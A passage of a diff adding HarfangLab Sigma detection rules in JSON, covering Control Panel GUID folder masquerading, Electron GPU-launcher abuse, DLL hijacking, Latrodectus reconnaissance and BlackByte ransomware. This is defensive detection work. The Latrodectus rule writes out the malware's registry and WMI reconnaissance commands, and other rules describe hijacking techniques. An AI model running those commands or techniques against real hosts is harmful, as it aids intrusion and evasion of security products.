'.{B2C761C6-29BC-4f19-9251-E6195265BAF1}\\'\n            - '.{B98A2BEA-7D42-4558-8BD1-832F41BAC6FD}\\'\n            - '.{BAA884F4-3432-48b8-AA72-9BF20EEF31D5}\\'\n            - '.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\\'\n            - '.{BB64F8A7-BEE7-4E1A-AB8D-7D8273F7FDB6}\\'\n            - '.{BE122A0E-4503-11DA-8BDE-F66BAD1E3F3A}\\'\n            - '.{BF782CC9-5A52-4A17-806C-2A894FFEEAC5}\\'\n            - '.{C555438B-3C23-4769-A71F-B6D3D9B6053A}\\'\n            - '.{C58C4893-3BE0-4B45-ABB5-A63E4B8C8651}\\'\n            - '.{CB1B7F8C-C50A-4176-B604-9E24DEE8D4D1}\\'\n            - '.{D20EA4E1-3957-11d2-A40B-0C5020524153}\\'\n            - '.{D450A8A1-9568-45C7-9C0E-B4F9FB4537BD}\\'\n            - '.{D555645E-D4F8-4c29-A827-D93C859C4F2A}\\'\n            - '.{D8559EB9-20C0-410E-BEDA-7ED416AECC2A}\\'\n            - '.{D9EF8727-CAC2-4e60-809E-86F80A666C91}\\'\n            - '.{E2E7934B-DCE5-43C4-9576-7FE4F75E7480}\\'\n            - '.{E95A4861-D57A-4be1-AD0F-35267E261739}\\'\n            - '.{E9950154-C418-419e-A90A-20C5287AE24B}\\'\n            - '.{ECDB0924-4208-451E-8EE0-373C0956DE16}\\'\n            - '.{ED834ED6-4B5A-4bfe-8F11-A626DCB6A921}\\'\n            - '.{F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}\\'\n            - '.{F6B6E965-E9B2-444B-9286-10C9152EDBC5}\\'\n            - '.{F82DF8F7-8B9F-442E-A48C-818EA735FF9B}\\'\n            - '.{F942C606-0914-47AB-BE56-1321B8035096}\\'\n            - '.{FCFEECAE-EE1B-4849-AE50-685DCF7717EC}\\'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4d587e21-5699-48e7-8445-551ccb0a9d8b",
+  "rule_name": "Library Loaded from a Folder Masquerading as a Control Panel Item",
+  "rule_description": "Detects a process loading a DLL from a folder whose name contains a well-known Control Panel GUID.\nAdversaries may use Control Panel GUIDs to hide their payload as Explorer will open the Control Panel instead of browsing the folder.\nIt is recommended to check for malicious activity performed by the process loading the DLL or its parent processes.\n",
+  "rule_creation_date": "2024-10-23",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4d721693-c6fd-4568-9bbf-4f9070fd8abe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072640Z",
+  "creation_date": "2026-03-23T11:45:34.072643Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072647Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://positive.security/blog/ms-officecmd-rce",
+    "https://attack.mitre.org/techniques/t1574"
+  ],
+  "name": "t1574_electron_gpu_launcher.yml",
+  "content": "title: Electron Application Started with Insecure GPU Settings\nid: 4d721693-c6fd-4568-9bbf-4f9070fd8abe\ndescription: |\n    Detects the execution of an Electron-based application (Teams, Skype, etc.) using insecure GPU settings.\n    Attackers can use these settings to achieve persistence or perform command injection.\n    It is recommended to investigate the parent processes and the execution context, as well as potential malicious actions around this detection, to determine if this actin was legitimate.\nreferences:\n    - https://positive.security/blog/ms-officecmd-rce\n    - https://attack.mitre.org/techniques/t1574\ndate: 2021/12/17\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1574\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_app_skype:\n        - Image|endswith: '\\skype.exe'\n        - OriginalFileName: 'Skype.exe'\n\n    selection_app_teams:\n        - Image|endswith: '\\Teams.exe'\n        - OriginalFileName: 'Teams.exe'\n\n    selection_args:\n        CommandLine|contains|all:\n            - '--disable-gpu-sandbox'\n            - '--gpu-launcher'\n\n    condition: 1 of selection_app_* and selection_args\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4d721693-c6fd-4568-9bbf-4f9070fd8abe",
+  "rule_name": "Electron Application Started with Insecure GPU Settings",
+  "rule_description": "Detects the execution of an Electron-based application (Teams, Skype, etc.) using insecure GPU settings.\nAttackers can use these settings to achieve persistence or perform command injection.\nIt is recommended to investigate the parent processes and the execution context, as well as potential malicious actions around this detection, to determine if this actin was legitimate.\n",
+  "rule_creation_date": "2021-12-17",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4d7c9617-c2ec-4fad-be66-0d0804d9e122",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097610Z",
+  "creation_date": "2026-03-23T11:45:34.097612Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097617Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/",
+    "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_scncfg.yml",
+  "content": "title: DLL Hijacking via ScnCfg.exe\nid: 4d7c9617-c2ec-4fad-be66-0d0804d9e122\ndescription: |\n    Detects potential Windows DLL Hijacking via ScnCfg.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying the legitimate ScnCfg executable alongside a malicious vsodscpl.dll.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/\n    - https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/08/22\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessSignature: 'McAfee, Inc.'\n        # ScnCfg.exe has no OriginalFileName\n        ProcessDescription: 'VirusScan On-Demand Scan Task Properties'\n        ImageLoaded|endswith: '\\vsodscpl.dll'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith: '?:\\Program Files\\McAfee\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Company: 'McAfee, Inc.'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4d7c9617-c2ec-4fad-be66-0d0804d9e122",
+  "rule_name": "DLL Hijacking via ScnCfg.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ScnCfg.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying the legitimate ScnCfg executable alongside a malicious vsodscpl.dll.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-08-22",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4d7e9eda-970d-4484-95fa-0f433f3355ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.099014Z",
+  "creation_date": "2026-03-23T11:45:34.099016Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.099021Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_searchfilterhost.yml",
+  "content": "title: DLL Hijacking via searchfilterhost.exe\nid: 4d7e9eda-970d-4484-95fa-0f433f3355ff\ndescription: |\n    Detects potential Windows DLL Hijacking via searchfilterhost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'searchfilterhost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\TQUERY.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4d7e9eda-970d-4484-95fa-0f433f3355ff",
+  "rule_name": "DLL Hijacking via searchfilterhost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via searchfilterhost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4d861c32-4613-46cf-a560-20bad3598910",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592569Z",
+  "creation_date": "2026-03-23T11:45:34.592572Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592580Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bitsight.com/blog/latrodectus-are-you-coming-back",
+    "https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus",
+    "https://attack.mitre.org/techniques/T1082/"
+  ],
+  "name": "t1082_latrodectus_malware_activity.yml",
+  "content": "title: Latrodectus Malware Activity Detected\nid: 4d861c32-4613-46cf-a560-20bad3598910\ndescription: |\n    Detects command-lines related to Latrodectus activity which are used to get detailed information about the hardware of the host.\n    Latrodectus is a sophisticated malware loader serving as a successor to IcedID with capabilities including payload delivery, reconnaissance, and evasion techniques.\n    Is is recommended to investigate the parent process as well as the context around this alert to look for malicious actions.\nreferences:\n  - https://www.bitsight.com/blog/latrodectus-are-you-coming-back\n  - https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus\n  - https://attack.mitre.org/techniques/T1082/\ndate: 2025/07/10\nmodified: 2025/08/05\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1082\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Trojan.Latrodectus\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine:\n            - '/c reg query HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\IDConfigDB\\Hardware Profiles\\0001 /v HwProfileGuid | findstr HwProfileGuid'\n            - '/c wmic.exe /node:localhost /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed'\n            - '/c reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography /v MachineGuid | findstr MachineGuid'\n\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4d861c32-4613-46cf-a560-20bad3598910",
+  "rule_name": "Latrodectus Malware Activity Detected",
+  "rule_description": "Detects command-lines related to Latrodectus activity which are used to get detailed information about the hardware of the host.\nLatrodectus is a sophisticated malware loader serving as a successor to IcedID with capabilities including payload delivery, reconnaissance, and evasion techniques.\nIs is recommended to investigate the parent process as well as the context around this alert to look for malicious actions.\n",
+  "rule_creation_date": "2025-07-10",
+  "rule_modified_date": "2025-08-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1082"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4db7476a-88be-4716-891f-51278f296c69",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609507Z",
+  "creation_date": "2026-03-23T11:45:34.609510Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609522Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/",
+    "https://www.acronis.com/en-gb/cyber-protection-center/posts/blackbyte-30-uses-vulnerable-drivers-to-compromise-systems/",
+    "https://attack.mitre.org/techniques/T1486/",
+    "https://attack.mitre.org/techniques/T1055/012/"
+  ],
+  "name": "t1486_ransomware_blackbyte_executed.yml",
+  "content": "title: BlackByte Ransomware Executed\nid: 4db7476a-88be-4716-891f-51278f296c69\ndescription: |\n    Detects the suspicious execution of svchost.exe with command-line arguments related to the BlackByte Ransomware.\n    BlackByte injects its device encryption process into svchost.exe using the process hollowing method.\n    BlackByte is also known have performed BYOVD (vulnerable drivers) techniques in order to disable security products.\n    It is recommended to investigate any other alerts indicating malicious activity related to ransomware actors and to dump this process and analyze its contents to determine legitimacy.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/\n    - https://www.acronis.com/en-gb/cyber-protection-center/posts/blackbyte-30-uses-vulnerable-drivers-to-compromise-systems/\n    - https://attack.mitre.org/techniques/T1486/\n    - https://attack.mitre.org/techniques/T1055/012/\ndate: 2024/02/21\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055.012\n    - attack.impact\n    - attack.t1486\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Ransomware.BlackByte\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine:\n            - '?:\\Windows\\System32\\svchost.exe -a ????????'\n            - '?:\\Windows\\System32\\svchost.exe -w ????????'\n            - '?:\\Windows\\System32\\svchost.exe -s ????????'\n        ParentCommandLine|endswith:\n            - ' -a ????????'\n            - ' -w ????????'\n            - ' -s ????????'\n            - ' -a ???????? svc'\n            - ' -w ???????? svc'\n            - ' -s ???????? svc'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4db7476a-88be-4716-891f-51278f296c69",
+  "rule_name": "BlackByte Ransomware Executed",
+  "rule_description": "Detects the suspicious execution of svchost.exe with command-line arguments related to the BlackByte Ransomware.\nBlackByte injects its device encryption process into svchost.exe using the process hollowing method.\nBlackByte is also known have performed BYOVD (vulnerable drivers) techniques in order to disable security products.\nIt is recommended to investigate any other alerts indicating malicious activity related to ransomware actors and to dump this process and analyze its contents to determine legitimacy.\n",
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.012",
+    "attack.t1486"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4dbbc098-7309-4a0f-9571-5757305e0261",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.609270Z",
+  "creation_date": "2026-03-23T11:45:34.622116Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622121Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1562/"
+  ],
+  "name": "t1562_etc_hosts_modified.yml",
+  "content": "title: Suspicious Modification of /etc/hosts\nid: 4dbbc098-7309-4a0f-9571-5757305e0261\ndescription: |\n    Detects a suspicious attempt to modify /etc/hosts.\n    This file is part of the network configuration and can be modified to falsify hosts resolution.\n    It is recommended to ensure that the file has been modified by a legitimate process and that the new content is not malicious.\nreferences:\n    - https://attack.mitre.org/techniques/T1562/\ndate: 2023/12/15\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.SystemModification\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path: '/etc/hosts'\n        - TargetPath: '/etc/hosts'\n\n    filter_read:\n        Kind: 'access'\n        Permissions: 'read'\n\n    exclusion_image:\n        ProcessImage:\n            - '/opt/f5/vpn/svpn'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n            - '/opt/cisco/secureclient/bin/vpnagentd'\n            - '/opt/cisco/anyconnect/bin/vpnagentd'\n            - '/usr/bin/ln'\n            - '/usr/bin/crio'\n            - '/usr/lib/x86_64-linux-gnu/guix/guile'\n            - '/gnu/store/*/bin/guile'\n            - '/usr/bin/chown'\n            - '/opt/bitdefender-security-tools/bin/bdsecd'\n            - '/usr/bin/pacman'\n\n    # Package Managers\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n\n    exclusion_reconfigure:\n        - ProcessCommandLine:\n            - '/usr/bin/python3 /usr/bin/reconfigure'\n            - '/usr/bin/python3 /usr/bin/reconfigure -a'\n        - ProcessParentCommandLine:\n            - '/usr/bin/python3 /usr/bin/reconfigure'\n            - '/usr/bin/python3 /usr/bin/reconfigure -a'\n\n    exclusion_apk:\n        ProcessImage:\n            - '/sbin/apk'\n            - '/usr/sbin/apk'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - 